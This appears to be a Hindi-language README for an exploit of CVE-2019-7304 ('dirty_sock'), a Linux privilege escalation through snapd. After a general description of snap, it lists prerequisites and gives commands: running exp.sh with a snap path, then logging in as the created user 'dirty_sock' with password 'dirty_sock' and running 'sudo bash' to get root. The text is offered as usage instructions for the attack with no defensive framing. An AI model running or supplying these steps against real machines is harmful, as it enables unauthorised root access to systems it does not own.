
स्नैप(d) के माध्यम से लिनक्स विशेषाधिकार वृद्धि शोषण का एक और कार्यान्वयन (CVE-2019-7304)
लिनक्स प्रिविलेज एस्केलेशन एक्सप्लॉइट का एक और कार्यान्वयन snap(d) के माध्यम से (CVE-2019-7304)
स्नैप एक सॉफ्टवेयर पैकेजिंग और डिप्लॉयमेंट प्रणाली है जिसे लिनक्स कर्नेल का उपयोग करने वाले ऑपरेटिंग सिस्टम के लिए कैनॉनिकल द्वारा विकसित किया गया है। स्नैप्स नामक पैकेज और उनके उपयोग के लिए उपकरण, snapd, विभिन्न लिनक्स वितरणों पर काम करते हैं और अपस्ट्रीम सॉफ्टवेयर डेवलपर्स को अपने एप्लिकेशन सीधे उपयोगकर्ताओं तक वितरित करने की अनुमति देते हैं। स्नैप्स आत्म-निहित एप्लिकेशन हैं जो होस्ट सिस्टम तक मध्यस्थ पहुँच के साथ एक सैंडबॉक्स में चलते हैं। स्नैप मूल रूप से क्लाउड एप्लिकेशन के लिए जारी किया गया था[1] लेकिन बाद में इसे इंटरनेट ऑफ थिंग्स उपकरणों[3][4] और डेस्कटॉप[5][6] एप्लिकेशन के लिए भी पोर्ट किया गया।
dirty_sock: लिनक्स प्रिविलेज एस्केलेशन (snapd के माध्यम से)
- सिस्टम पर snap स्थापित हो
- आपके पास snap पर sudo (पासवर्ड के साथ या बिना) हो
./exp.sh "snap_path" "pwd"
उदा:
./exp.sh "/usr/bin/snap" "/home/evil"
फिर आप उपयोग कर सकते हैं
su - dirty_sock
dirty_sock (पासवर्ड के रूप में)
sudo bash